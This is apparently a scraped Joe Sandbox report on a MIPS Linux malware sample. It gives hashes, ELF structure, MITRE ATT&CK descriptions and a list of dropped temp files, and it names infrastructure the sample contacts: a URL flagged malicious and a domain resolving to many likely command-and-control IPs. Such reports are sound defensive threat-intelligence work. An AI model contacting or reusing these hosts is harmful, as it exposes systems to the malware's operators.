	http://crunchersflowdigital.com	Get hash	malicious	Unknown	Browse	91.202.233.192

Process:	/tmp/O93vO719Sn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.13371095443629
Encrypted:	false
SSDEEP:	6:URe6gDF+VPj/VcDFnT/V/BHT/VDM/V+4D/VH:IefUMpHRMfF
MD5:	6CC8AEC8D80776E6A7393985ECF173CF
SHA1:	E941959E4B7E0203301CA25C8C6A1D627746D2F3
SHA-256:	CD2939B573A56E649A2781DB702B6DA3B344FC145ADE251FD0931498FE2060A9
SHA-512:	BDA51B628B2BC82598AEA9BD6398BA9171F9679BB1E022795F66D251898E846642EF7E3BED2F568ED6D1EE751492C14B3E3A816C1B5AD5811B1A5AA189DFF907
Malicious:	false
Reputation:	low
Preview:	400000-40e000 r-xp 00000000 fd:00 531606 /tmp/..44d000-44e000 rw-p 0000d000 fd:00 531606 /tmp/..44e000-450000 rw-p 00000000 00:00 0 .450000-451000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.511771874918532
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	O93vO719Sn.elf
File size:	56'648 bytes
MD5:	59c274cad2f05a3c7553ef02d7a50802
SHA1:	71a57ad1da7356a73ac4856e985943bfae15baf9
SHA256:	b867a0f85e1d69fcfe707e09e15819410835dc96168c7feac84ac22830aaadc5
SHA512:	db9756c83db595e7df3ea7dd4c8ee55816c9a4dc361f0c0233e963244a3bc241a5289ca712e859d4a8dd4d7719af2834a6fc3e5e69da0c147c6bbdd313da9d2b
SSDEEP:	1536:ca90OdAiGlzPxNh4vf0ffeRffPc3anefAtT8nI8sRN:capGJxNhXXAZ8nI3
TLSH:	3643721A3E629FADF77D833597778A3097A9238137E08685D26CF8051A7030D646FB98
File Content Preview:	.ELF.....................@.`...4.........4. ...(.............@...@.....@...@...............D.D.D.D.D...@...$........dt.Q............................<...'.V....!'.......................<...'.U....!... ....'9... ......................<...'.U....!........'9.

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	56048
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0xc240	0x0	0x6	AX	16
.fini	PROGBITS	0x40c360	0xc360	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x40c3c0	0xc3c0	0x1080	0x0	0x2	A	16
.ctors	PROGBITS	0x44d444	0xd444	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x44d44c	0xd44c	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x44d454	0xd454	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x44d458	0xd458	0xd8	0x0	0x3	WA	4
.data	PROGBITS	0x44d530	0xd530	0x180	0x0	0x3	WA	16
.got	PROGBITS	0x44d6b0	0xd6b0	0x3d4	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x44da84	0xda84	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x44dab0	0xda84	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0xda84	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0xda84	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xd440	0xd440	5.5622	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xd444	0x44d444	0x44d444	0x640	0x1824	3.3165	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 27, 2024 11:28:30.548705101 CEST	51.254.162.59	192.168.2.14	0xe4b8	No error (0)	freethewind.parody	5.181.80.189	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:28:30.548705101 CEST	51.254.162.59	192.168.2.14	0xe4b8	No error (0)	freethewind.parody	204.76.203.63	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:28:30.548705101 CEST	51.254.162.59	192.168.2.14	0xe4b8	No error (0)	freethewind.parody	204.76.203.103	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:28:30.548705101 CEST	51.254.162.59	192.168.2.14	0xe4b8	No error (0)	freethewind.parody	204.76.203.223	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:28:30.548705101 CEST	51.254.162.59	192.168.2.14	0xe4b8	No error (0)	freethewind.parody	5.181.80.60	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:28:30.548705101 CEST	51.254.162.59	192.168.2.14	0xe4b8	No error (0)	freethewind.parody	86.104.194.171	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:28:30.548705101 CEST	51.254.162.59	192.168.2.14	0xe4b8	No error (0)	freethewind.parody	5.181.80.61	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:28:30.548705101 CEST	51.254.162.59	192.168.2.14	0xe4b8	No error (0)	freethewind.parody	5.181.80.140	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:28:30.548705101 CEST	51.254.162.59	192.168.2.14	0xe4b8	No error (0)	freethewind.parody	86.104.194.178	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:28:30.548705101 CEST	51.254.162.59	192.168.2.14	0xe4b8	No error (0)	freethewind.parody	204.76.203.101	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:28:30.548705101 CEST	51.254.162.59	192.168.2.14	0xe4b8	No error (0)	freethewind.parody	86.104.194.181	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:28:30.548705101 CEST	51.254.162.59	192.168.2.14	0xe4b8	No error (0)	freethewind.parody	5.181.80.59	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:28:30.548705101 CEST	51.254.162.59	192.168.2.14	0xe4b8	No error (0)	freethewind.parody	5.181.80.130	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:28:30.548705101 CEST	51.254.162.59	192.168.2.14	0xe4b8	No error (0)	freethewind.parody	86.104.194.115	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:28:30.548705101 CEST	51.254.162.59	192.168.2.14	0xe4b8	No error (0)	freethewind.parody	204.76.203.5	A (IP address)	IN (0x0001)	false

Start time (UTC):	09:28:28
Start date (UTC):	27/04/2024
Path:	/tmp/O93vO719Sn.elf
Arguments:	/tmp/O93vO719Sn.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	09:28:29
Start date (UTC):	27/04/2024
Path:	/tmp/O93vO719Sn.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report O93vO719Sn.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0JSrlr (deleted)

/tmp/qemu-open.0UXfHt (deleted)

/tmp/qemu-open.1Xs8gs (deleted)

/tmp/qemu-open.1xeDxr (deleted)

/tmp/qemu-open.2LaSTt (deleted)

/tmp/qemu-open.2ZG0Ir (deleted)

/tmp/qemu-open.3Fl6Ct (deleted)

/tmp/qemu-open.3H0CUp (deleted)

/tmp/qemu-open.3gLqlr (deleted)

/tmp/qemu-open.3uonpr (deleted)

/tmp/qemu-open.41kzwt (deleted)

/tmp/qemu-open.47DVft (deleted)

/tmp/qemu-open.5X3gNq (deleted)

/tmp/qemu-open.7ixbtr (deleted)

/tmp/qemu-open.91akus (deleted)

/tmp/qemu-open.9xxeXr (deleted)

/tmp/qemu-open.ACCLTs (deleted)

/tmp/qemu-open.BRmGOr (deleted)

/tmp/qemu-open.C6OKZs (deleted)

/tmp/qemu-open.Cbpjcs (deleted)

/tmp/qemu-open.Da9y3s (deleted)

/tmp/qemu-open.EmH2gq (deleted)

/tmp/qemu-open.ExKXOr (deleted)

/tmp/qemu-open.F9KXyr (deleted)

/tmp/qemu-open.FSPUmt (deleted)

/tmp/qemu-open.FWVqXp (deleted)

/tmp/qemu-open.Gak1xr (deleted)

/tmp/qemu-open.GoJlIp (deleted)

/tmp/qemu-open.HKYt1r (deleted)

/tmp/qemu-open.HaxF8q (deleted)

Linux Analysis Report
O93vO719Sn.elf

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre